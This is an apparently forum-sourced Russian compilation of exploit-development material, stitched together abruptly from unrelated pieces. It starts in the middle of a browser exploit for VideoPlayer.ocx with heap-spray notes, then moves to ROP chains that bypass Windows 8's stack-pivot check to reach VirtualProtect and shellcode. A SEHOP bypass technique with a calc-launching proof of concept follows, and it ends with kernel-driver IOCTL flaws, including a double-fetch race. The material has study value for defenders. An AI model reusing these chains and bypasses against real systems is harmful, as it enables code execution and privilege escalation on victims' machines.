/* eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
obj.Play()
}
/* dword to little endian string */
function dword2str(dword){
str = ""
for (n=0; n<4; n++){
str += String.fromCharCode((dword >> 8*n) & 0xff)
}
return str
}
//setTimeout(run(), 3000);
</script>
</body>
</html>
addr = 0x1111f010 // WHERE TO WRITE
При тестировании на RU win7, если указать в адресе байт из верхней половины таблицы символов (F0), эксплойт не работает. Скорее всего это связано с национальными кодировками, досконально не разбирался. Проще всего спреить тогда кусками не по 0x10000, а вполовину меньше, увеличив их количество вдвое. Тогда TypedArray попадают в допустимые адреса (0x11117010) и все работает.
Соответственно, тут
while(k < 0x1000-1){
использовать nrArrays (если вводить константу, нужно ее использовать ).
Написано Rh0 для rh0dev.github.io
Переведено DreamSeller__
В Windows 8 было добавлено ряд нововведений, касающихся защиты от эксплоитов, включая защиту пользовательской кучи (userland heap) и кучи ядра (kernel heap), защиту от использования разыменований нулевого указателя в режиме ядра (kernel-mode) и защиту от неправильной эксплуатации таблиц указателей на виртуальные функции. Одно из нововведений связано с защитой от эксплоитов, использующих возвратно-ориентированное программирование (Return-oriented programming, ROP).
Возвратно-ориентированное программирование
Возвратно-ориентированное программирование является обобщением классических
return-to-libc атак, когда последовательно выполняются небольшие участки
инструкций, которые обычно находятся в конце функций, находящихся по известным
адресам. Это достигается за счет управления данными, на которые указывает ESP,
указатель вершины стека, так, что каждая ret-инструкция увеличивает значение
регистра и ESP и передает выполнение по следующему адресу, выбранному
злоумышленником.
Поскольку поиск нужной последовательности кода («гаджетов») может вызвать затруднения, большинство ROP-эксплоитов вначале создают участок памяти, выставляют у него права на запись и выполнения кода, а потом в этот участок копируется запускаемый шеллкод. Наиболее часто используемые функции – VirtualProtect, которая изменяет права доступа на сегмент, и VirtualAlloc, которая создает новый участок памяти. Существуют и другие реализации.
Второй общей чертой многих ROP-эксплоитов является то, что основной код (payload) не содержится в стеке потока в связи с характером уязвимости либо ограничением на добавление кода в адресное пространство уязвимого приложения. В большинстве случаев основной код располагается в куче, а в стеке находится указатель на кучу.
Механизмы защиты Windows 8 от ROP-эксплоитов
Microsoft, очевидно зная о двух вышеупомянутых особенностях, реализовала
простенькую защиту в операционной системе Windows 8. Теперь каждая функция,
которая работает с виртуальной памятью, включая наиболее известные
VirtualProtect и VirtualAlloc, проверяет, попадает ли диапазон стека (как
указано в структуре trap frame) в диапазон определенный блоком окружения
потока (Thread Environment Block, TEB). Ниже приводится код от Алекса Ионеску
(Alex Ionescu) для реализации такой защиты:
Code:Copy to clipboard
char __cdecl PsValidateUserStack()
{
char Status; // al@1
_KTRAP_FRAME *TrapFrame; // ecx@3
_TEB *Teb; // ecx@3
void *.Eip; // [sp+10h] [bp-88h]@3
unsigned int .Esp; // [sp+14h] [bp-84h]@3
void *StackLimit; // [sp+18h] [bp-80h]@3
void *StackBase; // [sp+1Ch] [bp-7Ch]@3
_EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3
CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
if ( Status )
{
__asm { bt dword ptr [edx+58h], 13h } // // KernelStackResident, ReadyTransition, Alertable
Status = _CF;
if ( _CF != 1 )
{
TrapFrame = CurrentThread->Tcb.TrapFrame;
.Esp = TrapFrame->HardwareEsp;
.Eip = (void *)TrapFrame->Eip;
Teb = (_TEB *)CurrentThread->Tcb.Teb;
ms_exc.disabled = 0;
StackLimit = Teb->DeallocationStack;
StackBase = Teb->NtTib.StackBase;
ms_exc.disabled = -2;
Status = .Esp;
if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
{
memset(&ExitStatus, 0, 0x50u);
ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
ExitStatus.ExceptionAddress = .Eip;
ExitStatus.NumberParameters = 2;
ExitStatus.ExceptionInformation[0] = 4;
ExitStatus.ExceptionInformation[1] = .Esp;
Status = DbgkForwardException(&ExitStatus, 1, 1);
if ( !Status )
{
Status = DbgkForwardException(&ExitStatus, 0, 1);
if ( !Status )
Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
}
}
}
}
return Status;
}
Теперь эксплоиты, которые используют ROP-код, находящийся в куче, не могут создать сегменты памяти с правами доступа на запись и выполнение. Однако эту защиту легко обойти. Один из способов – отказаться от создания новых сегментов памяти и искать уже существующие участки кода («гаджеты»). Более простой способ обойти такую защиту поместить указатель в регистр ESPна вершину стека потока в момент вызова функций для работы с виртуальной памятью. Я полагаю, что атакующему доступен первоначальный адрес стека через какой-либо регистр, так как при занесении адреса кучи в стек используется инструкции xchg. Если это не так, возможно, будет полезно изучить методы получения адреса стека во время выполнения кода.
Обход защиты
Рассмотрим базовый ROP-код, который для примера я использовал в VCL-эксплоите.
После запуска программы для изменения адреса стека используется такой
«гаджет»:
Code:Copy to clipboard
xchg esi, esp
retn
В этом примере регистр ESI содержит указатель на кучу с управляемыми мной данными, и таким образом, изменив адрес стека, я могу выполнить ROP-код, который создает новые сегменты памяти:
Code:Copy to clipboard
rop = [
rop_base + 0x1022, # retn
# Call VirtualProtect()
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x29d13, # jmp eax
rop_base + 0x1022, # retn
heap & ~0xfff, # lpAddress
0x60000, # dwSize
0x40, # flNewProtect
heap - 0x1000, # lpfOldProtect
# Enough of this ROP business...
rop_base + 0xdace8 # push esp; retn
]
Этот ROP-код получает адрес функции VirtualProtect из таблицы адресов импорта
(Import Address Table, IAT), вызывает функцию VirtualProtect, которая
устанавливает права выполнения для кучи, а затем выполняется шеллкод.
Поскольку ESP указывает на кучу, а не на стек, в момент выполнения функции
VirtualProtect возникает ошибка. Однако это легко обойти, вот обновленный ROP-
код:
Code:Copy to clipboard
rop = [
rop_base + 0x1022, # retn
# Пишем параметр lpfOldProtect в регистр ESI
rop_base + 0x2c283, # pop eax; retn
heap - 0x1000, # lpfOldProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
# Пишем параметр flNewProtect в регистр ESI
rop_base + 0x2c283, # pop eax; retn
0x40, # flNewProtect -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
# Пишем параметр dwSize в регистр ESI
rop_base + 0x2c283, # pop eax; retn
0x60000, # dwSize -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
# Пишем параметр lpAddress в регистр ESI
rop_base + 0x2c283, # pop eax; retn
heap & ~0xfff, # lpAddress -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
# Затем пишем адрес кучи &Pivot в регистр ESI
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x229a5, # &pivot -> eax
rop_base + 0x1db4f, # mov [esi],eax; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
rop_base + 0x3ab5e, # dec esi; retn
# Пишем указатель на функцию &VirtualProtect
rop_base + 0x2c283, # pop eax; retn
rop_base + 0x1212a4, # IAT entry for VirtualProtect -> eax
rop_base + 0x12fda, # mov eax,DWORD PTR [eax]
rop_base + 0x1db4f, # mov [esi],eax; retn
# Восстанавливаем первоначальный стек
rop_base + 0x229a5, # xchg esi,esp; retn;
# Переходим к выполнению шеллкода
rop_base + 0xdace8 # push esp; retn
]
]
Это очень грубый пример, но я надеюсь, идея будет вам понятна. Вначале я
сохраняю аргументы для функции VirtualProtect в первоначальный стек,
находящийся в регистре ESI. Далее в регистр ESI я поместил адрес кучи, который
будет возвращен после выполнения функции VirtualProtect. В конце я использую
все тот же «гаджет» для восстановления исходного адреса стека и перехода к
выполнению функции VirtualProtect.
Из-за того, что я каждый раз уменьшал значение регистра ESI без использования «гаджета», размер эксплоита увеличился на 124 байта. Вероятно, его размер можно уменьшить. В остальных случаях, полагаю, можно реализовать такой алгоритм с намного меньшими издержками.
Автор: c0decstuff
Авторы:
Stéfan Le Berre
Damien Cauquil
0. Вступление
Недавно корпорация Microsoft ввела в своих продуктах новый функционал
безопасности под названием «Защита от перезаписи обработчика структурных
исключений» (SEHOP). Данный функционал присутствует в таких операционных
систем, как:
Пока не было зафиксировано нацеленных на отключение данного функционала атак, но в сети Интернет уже появилось множество ресурсов с описанием самого функционала, а также его надежности. SEHOP считается настолько надёжным, что Microsoft выпустила патч, позволяющий, по умолчанию, активировать его для всех программ. Неужели, истории с переполнениями буфера в Windows пришел конец? При определенных обстоятельствах вовсе нет, но об этом речь пойдет ниже.
1. Технические спецификации SEHOP (краткая версия)
SEHOP расширяет обработку структурных исключений и применяет большое
количество проверок безопасности структуры обработки исключений (SEH),
используемой программами. Основная функция SEHOP заключается в проверке всех
SEH структур в обрабатываемом стеке, особенно последней SEH структуры, которая
имеет особое значение, так как ее обработчик указывает прямо на функцию файла
библиотек. Вот классический пример SEH цепочки:
Каждая SEH структура в цепочке указывает на последующую структуру, а последняя структура, в свою очередь, содержит обработчик, указывающий на ntdll!_except_handler4. При эксплуатации перезаписи SEH структуры стека, последующий SEH указатель получает некий байт-код, а измененный SEH обработчик указывает на последовательность инструкций «POP POP RET», расположенных за пределами SafeSEH модуля.
Используемый в SEHOP алгоритм валидации был описан А.Сотировым (A. Sotirov) на конференции Black Hat в 2008 году. Давайте рассмотрим его:
Также, необходимо помнить о сопутствующих ограничениях:
2. SEHOP и эксплуатация переполнения буфера в стеке
2.1 Расширение классической схемы эксплуатации
Так работает классическая схема эксплуатации:
SEH обработчик указывает на последовательность инструкций «POP POP RET», а первый член структуры, вместо действительного адреса стека, содержит код. При обработке исключений Windows передает управление обработчикам исключений, согласно SEH цепочке. Первый обработчик исключений перезаписывается, а процесс исполнения направляется на последовательность инструкций «POP POP RET» (вместо обработки исключения). Данная последовательность передает процесс выполнения первым двум байтам первого члена текущей SEH структуры, являющей собой jump инструкцию (0xEB06). Таким образом, SEH цепочка разрывается:
Два первых байта первого DWORD в SEH структуре никогда не выполняются. Их можно изменить, таким образом, сделав DWORD действительным контролируемым адресом стека. Также, существует возможность изменения остальных двух байт, которые будут указывать на действительный контролируемый адрес стека. Еще их можно определить как jump инструкцию. DWORD можно считать как действительным адресом стека, так и действительной командой, при вызове выполняющей jump.
Если поместить ложную SEH структуру в адрес стека, указанный первым DWORD, то удастся изменить всю SEH цепочку, а также получить контроль над SEH структурой. Сделать ее валидной нам поможет подтверждение первой SEH структуры.
2.2 Сложная часть
Нужно решить основной вопрос: какую jump инструкцию можно запрограммировать
таким образом, чтобы ее байт-код отображал адрес с 4-байтным смещением. Здесь
подходит только одна инструкция: JE (закодированная в виде 0x74). Данная
команда представляет собой условный jump. Jump выполняется, если установлен
флаг Z. При обработке исключений, флаг Z в Windows по умолчанию не
выставляется, его необходимо установить путем выполнения инструкций
вычисления, например, нулевого значения. Для этого может хорошо подойти
оператор “XOR”. Решение нашей задачи становиться ясным: необходимо
переключиться на последовательность «XOR, POP, POP, RET» для того, чтобы
интерпретировать команду JE в JMP. В этом и заключалась сложная часть техники
обхода SEHOP.
Инструкции «XOR, POP, POP, RET» найти несложно, некоторые последовательности можно найти в конце функций, возвращающихся к нулевому результату:
Чтобы быть уверенным в успешной эксплуатации, мы добавим в наш PoC код инструкции «XOR, POP, POP, RET».
Предположим, что по адресу 0x0022FD48 находится первая SEH структура. Можно создать еще одну SEH структуру по адресу 0x0022FD74, содержащую следующий SEH указатель со значением 0xFFFFFFFF и обработчиком, указывающим на ntdll!FinalExceptHandler. Если сделать так, чтобы обработчик первой структуры указывал на последовательность «XOR, POP, POP, RET», то появится возможность перенаправления хода выполнения в необходимом направлении, не разрывая при этом саму цепь. По сути, восстанавливается валидная ложная SEH цепочка, которая перенаправляет ход выполнения в специальный шеллкод.
Основным ограничением является ASLR, присутствующий в Microsoft Windows 7 и Vista. Успех эксплуатации зависит от знания адреса ntdll!FinalExceptHandler. При каждой перезагрузке системы, ImageBase Ntdll в случайном порядке изменяется, что значительно усложняет эксплуатацию. Произведенные с ASLR тесты (без реверсинга) показали, что из 16 битов, представляющих ImageBase, только 9 битов изменяются в случайном порядке. Это означает, что при попытке эксплуатации переполнения буфера, вероятность обхода SEHOP равна 1 к 512.
3. Proof Of Concept
3.1. Атакуемое приложение и ограничения
Для демонстрации работы вышеуказанной техники было создано небольшое
приложение. Это приложение копирует содержимое файла «OwnMe.txt» в память и,
по ходу операции, разбивает стек, вызывая исключения, перехватываемые
обработчиком исключений.
Необходимые действия:
Последовательность «XOR, POP, POP, RET» известна потому, что мы поместили ее в код программы. Данную последовательность можно найти в памяти по адресу 0x004018E1.
3.2. Аварийно завершение и эксплуатация
При аварийном завершении работы программы, получаем:
После этого, необходимо создать валидную ложную SEH цепь со второй SEH структурой, расположенной по адресу 0x0012F774 и содержащей 0xFFFFFFFF в качестве первого члена структуры (следующий SEH указатель) и FinalExceptionHandler в качестве SEH обработчика. Затем, содержимое SEH структуры, расположенной по адресу 0x0012F700, изменяется и указывает на созданную нами ложную SEH структуру, а обработчик устанавливается в значение 0x004018E1. Во избежание выполнения данных, перед каждой SEH структурой помещается jump инструкция (JMP +8).
При эксплуатации, выполнение должно происходить таким образом:
Шеллкод запустит calc.exe:
4. Заключение
Сам по себе функционал SEHOP не является надежной защитой от переполнения
буфера в стеке. В этой статье был продемонстрирован способ обхода «Защиты от
перезаписи обработчика структурных исключений». В то же время, SEHOP является
весьма эффективным в связке с ASLR и DEP.
5. Ссылки
Sysdream est la division Cybersécurité du Groupe Hub One. Elle met à disposition des grands comptes, publics et privés, en France comme à l’International.
![sysdream.com](/proxy.php?image=https%3A%2F%2Fsysdream.com%2Fsys- template%2Fassets%2Fimages%2Ficons%2Ffavicon.ico&hash=837134b56ff48cfaea930999046019ec&return_error=1) sysdream.com
Le Hangar de Virtualabs
virtualabs.fr
6. Литература
[1] Preventing the Exploitation of Structured Exception Handler (SEH)
Overwrites with SEHOP: [http://blogs.technet.com/srd/archiv...xploitation-of-
seh-overwrites-with-
sehop.aspx](http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-
exploitation-of-seh-overwrites-with-sehop.aspx)
[2] SEHOP per-process opt-in support in Windows 7:
<http://blogs.technet.com/srd/archive/2009/11/20/sehop-per-process-opt-in-
support-in-windows-7.aspx>
[3] Bypassing Browser Memory Protections:
http://taossa.com/archive/bh08sotirovdowd.pdf
[4] ZIP containing our target program & exploit
http://www.sysdream.com/SEHOP.zip
Введение
Многим известно, что драйверы режима ядра в Windows используются не только для
управления устройствами. Очень многие программы используют их как «окно» для
доступа в более привилегированный режим – Ring 0. В первую очередь это
касается защитного ПО, к которому можно отнести антивирусы, персональные
файрволы, HIPS-ы (Host Intrusion Prevention Systems) и программы класса
internet security. Очевидно, что кроме основных функций подобные драйверы
будут оснащены также механизмами взаимодействия, предназначенными для обмена
данными между драйвером и другими программными компонентами, работающими в
пользовательском режиме. Тот факт, что код, работающий на высоком уровне
привилегий, получает данные от кода, работающего на уровне привилегий более
низком, заставляет разработчиков уделять повышенное внимание вопросам
безопасности при проектировании и разработке упомянутых выше механизмов
взаимодействия. Однако как с этим обстоят дела на практике?
В этой статье я максимально широко рассмотрю тему уязвимостей в драйверах режима ядра, их эксплуатации и поиска. Вопросы написания качественного и надежного кода также не останутся без внимания.
Диспетчер ввода-вывода
Существует достаточно много как документированных, так и не очень, системных
механизмов, которые могут быть использованы для организации взаимодействия
кода пользовательского режима с драйверами режима ядра. Самыми функциональными
и наиболее часто используемыми являются те механизмы, которые представляются
диспетчером ввода-вывода. В конце концов, именно они и создавались
разработчиками операционной системы для подобных задач. Давайте рассмотрим,
как обычно организуется работа с диспетчером ввода-вывода со стороны драйвера
и приложения. После загрузки драйвер создаёт именованный объект ядра
«устройство», используя функцию IoCreateDevice. Для обработки обращений к
созданным устройствам драйвер ассоциирует со своим объектом набор функций-
обработчиков. Эти функции вызываются диспетчером ввода-вывода при выполнении
определённых операций с устройством (открытие, закрытие, чтение, запись и
т.д.), а также в случае некоторых системных событий (например, завершения
работы системы или монтирования раздела жесткого диска). Структура,
описывающая объект «драйвер», называется DRIVER_OBJECT, а эти функции – IRP
(I/O Request Packet) обработчиками. Их адреса драйвер помещает в поле
DRIVER_OBJECT::MajorFunction, которое, по своей сути, является массивом
указателей, имеющим фиксированный размер IRP_MJ_MAXIMUM_FUNCTION + 1.
Константа IRP_MJ_MAXIMUM_FUNCTION определена в заголовочных файлах Driver Development Kit (DDK) как 27. Как видите, типов событий, связанных с устройством, довольно много. IRP-обработчики имеют следующий тип:
Code:Copy to clipboard
typedef
NTSTATUS
(*PDRIVER_DISPATCH) (
IN struct _DEVICE_OBJECT *DeviceObject,
IN struct _IRP *Irp
);
Параметр DeviceObject указывает на конкретное устройство (у одного драйвера их может быть много), а Irp – на структуру, содержащую различную информацию о запросе к устройству: контрольный код, буферы для входящих и исходящих данных, статус завершения обработки запроса и многое другое.
Так как устройство, создаваемое драйвером, является именованным объектом, оно видно в пространстве имён диспетчера объектов. Это позволяет открывать его по имени, используя функцию CreateFile/OpenFile (или её native-аналог – NtCreateFile/NtOpenFile). Именно это, как правило, в первую очередь и делает код пользовательского режима, которому необходимо передать драйверу, владеющему устройством, какой-либо запрос. Во время открытия устройства, в контексте процесса, осуществляющего эту операцию, вызывается обработчик драйвера IRP_MJ_CREATE. Подобные уведомления позволяют драйверу управлять открытием своих устройств – он может запретить или разрешить это по своему усмотрению. Если открытие устройства со стороны драйвера было разрешено, система создаёт ассоциированный с устройством объект ядра типа «файл», дескриптор которого возвращается функцией CreateFile. Когда устройство открыто, приложение может вызывать функции ReadFile, WriteFile и DeviceIoControlFile для взаимодействия с драйвером. Наибольший интерес для нас представляет последняя функция.
Code:Copy to clipboard
BOOL
WINAPI
DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
Ниже представлена схема поясняющая способ обработки запроса после вызова данной функции:
Рисунок 1. Путь прохождения IRP запроса.
В качестве параметра hDevice она получает дескриптор устройства, в lpInBuffer и nInBufferSize передается указатель на буфер с входящими данными и его размер, а в lpOutBuffer и nOutBufferSize – указатель и размер буфера для данных, которые будут возвращены драйвером. Отдельно стоит рассказать о параметре dwIoControlCode. Он представляет собой двойное слово и служит для указания драйверу кода операции, которую мы хотим осуществить. Поддерживаемые драйвером значения кода запроса ввода-вывода определяются на этапе написания конкретного драйвера (т.е., жестко «зашиты» в его код) и выбираются разработчиком не по произвольному принципу. Вот какую информацию извлекает диспетчер ввода-вывода из этого двойного слова:
Рисунок 2. I/O Control Code.
Device Type – идентификатор устройства (биты 16-31); диапазон 0-7FFFh зарезервирован Microsoft, а значение из диапазона 8000h-0FFFFh может быть любым, по усмотрению разработчика драйвера. Это значение также передаётся функции IoCreateDevice в качестве параметра DeviceType при создании устройства.
Access – набор флагов, определяющих права доступа к устройству.
Function – определяет операцию, выполнение которой требуется от драйвера.
Method – определяет метод ввода-вывода.
Общие вопросы написания защищённого кода
Теперь, когда вы уже знакомы с общими принципами работы диспетчера ввода-
вывода, мы можем рассмотреть пример исходного кода обработчика
IRP_MJ_DEVICE_CONTROL, который осуществляет копирование данных из памяти
пользовательского режима, указатель на которую передаётся драйверу в IRP-
запросе. Пример подобного кода можно найти в очень многих реальных программах
и, как правило, не все из них корректно справляются с валидацией входных
данных.
Code:Copy to clipboard
typedef
struct _REQUEST_BUFFER
{
PUCHAR Data;
ULONG Size;
} REQUEST_BUFFER,
*PREQUEST_BUFFER;
#define BUFFER_SIZE 0x100
#define IOCTL_PROCESS_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 1, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
// получаем указатель на IO_STACK_LOCATION
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
// проверка типа IRP-запросаif (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
// получаем код операции, размер данных и указатель на них
ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
PREQUEST_BUFFER Buff =
(PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
switch (Code)
{
case IOCTL_PROCESS_DATA:
{
UCHAR Data[BUFFER_SIZE];
// выполняем копирование данных в локальный буфер
RtlCopyMemory(Data, Buff->Data, Buff->Size);
// обработка полученных данных// ...break;
}
default:
{
// неверный код операции
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
}
// сообщаем диспетчеру ввода-вывода о том,
// что мы закончили обрабатывать этот IRP
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
В данном случае использование METHOD_BUFFERED освобождает разработчиков от необходимости валидации полученного указателя на REQUEST_BUFFER (система делает это сама при копировании данных в не подкачиваемый пул), однако, проанализировав код более детально, можно сделать выводы о наличии нескольких очень грубых ошибок:
Для исправления этих недостатков приведенный выше фрагмент необходимо переписать следующим образом:
Code:Copy to clipboard
case IOCTL_PROCESS_DATA:
{
if (Size == sizeof(REQUEST_BUFFER))
{
UCHAR Data[BUFFER_SIZE];
// проверяем размер и принадлежность указателя
// к диапазону адресов режима пользователяif (Buff->Size <= sizeof(Data) &&
Buff->Data < MM_HIGEST_USER_ADDRESS)
{
BOOLEAN bOk = FALSE;
__try
{
ProbeForRead(Buff->Data, Buff->Size, 1);
bOk = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
}
if (bOk)
{
// выполняем копирование данных в локальный буфер
RtlCopyMemory(Data, Buff->Data, Buff->Size);
// обработка полученных данных// ...
}
}
}
break;
}
Как видите, в этом варианте присутствуют все необходимые проверки. Для валидации user mode-указателя используется документированная в DDK функция ProbeForRead. Если вы используете метод ввода-вывода METHOD_NEITHER, то вам в качестве дополнительной меры обязательно нужно подвергать аналогичной проверке указатель на входные и выходные пользовательские данные IRP-запроса (поля DeviceIoControl.Type3InputBuffer и UserBuffer). Причем для выходного буфера следует использовать функцию ProbeForWrite, так как он может находиться на странице памяти пользовательского режима, не имеющей разрешение на запись, что в свою очередь вызовет BSоD при попытке записать туда что-либо из драйвера.
Ситуация, когда в драйвер передаётся указатель на память, лежащую в диапазоне адресов режима ядра, встречается менее часто. Для валидации подобного указателя нельзя использовать функции ProbeForRead/ProbeForWrite, ошибки доступа к памяти режима ядра не отлавливаются также и структурными обработчиками исключений, поэтому придется использовать другую функцию, MmIsAddressValid. Для удобства можно написать свою обёртку над ProbeForRead и MmIsAddressValid, пригодную для проверки как kernel mode, так и user mode- указателей.
Code:Copy to clipboard
BOOLEAN ValidateData(PVOID Address, ULONG Size)
{
BOOLEAN bRet = TRUE;
if (Size <= 0)
{
return FALSE;
}
if (Address > MM_HIGHEST_USER_ADDRESS)
{
// мы имеем дело с kernel mode-адресомfor (ULONG i = 0; i < Size; i++)
{
if (!MmIsAddressValid((PUCHAR)Address + i))
{
bRet = FALSE;
break;
}
}
}
else
{
// это user mode-адрес__try
{
ProbeForRead(Address, Size, 1);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
bRet = FALSE;
}
}
return bRet;
}
Весьма часто перед разработчиком драйверов режима ядра встает необходимость перехвата различных системных сервисов. Разумеется, в этом случае также нужно предпринимать все необходимые меры для проверки получаемых параметров. Однако особенность именно системных сервисов заключается в том, что они могут быть вызваны как из пользовательского режима (Zw* и Nt* функции ntdll.dll), так и из режима ядра (Zw* функции ntoskrnl.exe). В последнем случае параметры сервиса могут содержать указатели на память режима ядра, и это нужно как-то учитывать во время их валидации. К счастью, для определения того, из какого режима был осуществлён вызов системного сервиса, разработчики ядра предоставили в наше полное распоряжение функцию GetPreviousMode. Она возвращает значение поля PreviousMode структуры KTHREAD, описывающей текущий поток, а само значение устанавливается диспетчером системных вызовов. Ниже приведён пример проверки входных параметров обработчика перехвата системного сервиса NtOpenProcess:
Code:Copy to clipboard
NTSTATUS __stdcall hooked_NtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MAS K DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId)
{
ULONG ProcessId = 0;
if (GetPeviousMode() == UserMode &&
ClientId < MM_HIGHEST_USER_ADDRESS)
{
// системный сервис был вызван из пользовательского режима__try
{
// безопасным образом извлекаем идентификатор процесса
ProcessId = ClientId->UniqueProcess;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
return STATUS_INVALID_PARAMETER;
}
}
else
{
// системный сервис был вызван из режима ядра
ProcessId = ClientId->UniqueProcess;
}
// дальнейшая обработка параметров вызова// ...
}
Возможно, вас несколько удивит отсутствие какой-либо проверки на случай, если GetPreviousMode вёрнет KernelMode, однако это весьма распространенная практика, и проверка параметров системных вызовов в самом ядре осуществляется аналогичным образом. Зачем лишний раз занимать процессор ресурсоёмкими операциями, если драйвер режима ядра и без того имеет огромную кучу возможностей уронить систему? Совершенно незачем.
Несмотря на то, что подавляющее большинство ошибок реализации в драйверах реальных программ обусловлено именно неправильной валидацией указателей и некорректной проверкой формата/размера входных данных, разработчику стоит обращать внимание не только на это. Вот ещё некоторые нюансы, которые необходимо соблюдать при написании качественного кода:
Double fetch уязвимости
Взгляните на следующий пример кода:
Code:Copy to clipboard
#define IOCTL_PROCESS_DATA CTL_CODE(
FILE_DEVICE_UNKNOWN, 1, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
// получаем указатель на IO_STACK_LOCATION
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
// проверка типа IRP-запросаif (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
// получаем код операции, размер данных и указатель на них
ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
// в этом примере используется METHOD_NEITHER
PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)stack->Parameters.DeviceIoControl.Type3InputBuffer;
switch (Code)
{
case IOCTL_PROCESS_DATA:
{
// проверяем указатель на данные IRP-запросаif (Buff < MM_HIGHEST_USER_ADDRESS)
{
UCHAR Data[BUFFER_SIZE];
BOOLEAN bOk = FALSE;
__try
{
ProbeForRead(Buff, sizeof(REQUEST_BUFFER), 1);
bOk = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
}
// ок, теперь выполняем валидацию указателя,
// находящегося в структуреif (bOk && Buff->Data < MM_HIGHEST_USER_ADDRESS)
{
bOk = FALSE;
// [фрагмент №1]---------------------------------__try
{
ProbeForRead(Buff->Data, Buff->Size, 1);
bOk = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
}
// ----------------------------------------------if (bOk)
{
// [фрагмент №2]------------------------------------// выполняем копирование данных в локальный буфер
RtlCopyMemory(Data, Buff->Data, Buff->Size);
// -------------------------------------------------// обработка полученных данных// ...
}
}
}
break;
}
default:
{
// неверный код операции
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
}
// сообщаем диспетчеру ввода-вывода о том,
// что мы закончили обрабатывать этот IRP
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
От приведённого в прошлой главе примера он отличается разве что другим методом ввода-вывода – METHOD_NEITHRER, но все необходимые проверки присутствуют, и, на первый взгляд, придраться не к чему. Однако этот код содержит весьма серьёзную уязвимость, которая в определённых ситуациях может привести к переполнению стека. Дело в том, что IRP-обработчики выполняются на низком IRQL, а это значит, что поток во время исполнения кода IRP-обработчика, по исчерпанию кванта процессорного времени, может быть прерван другим потоком. А теперь давайте представим, что первый поток, исполняющий показанный выше код, был прерван после того, как он успел выполнить выделенный фрагмент №1 (валидация указателя), но до того, как начал исполняться фрагмент №2 (копирование данных). В это время второй поток, который вытеснил первый, подменяет значение полей Buff->Data/Buff->Size (Buff указывает на память режима пользователя из-за METHOD_NEITHRER), ну а первый поток, после своего возобновления, имеет уже не те данные, с которыми он работал на момент проверки. Это и даёт возможность атакующему добиться переполнения локального буфера Data[].
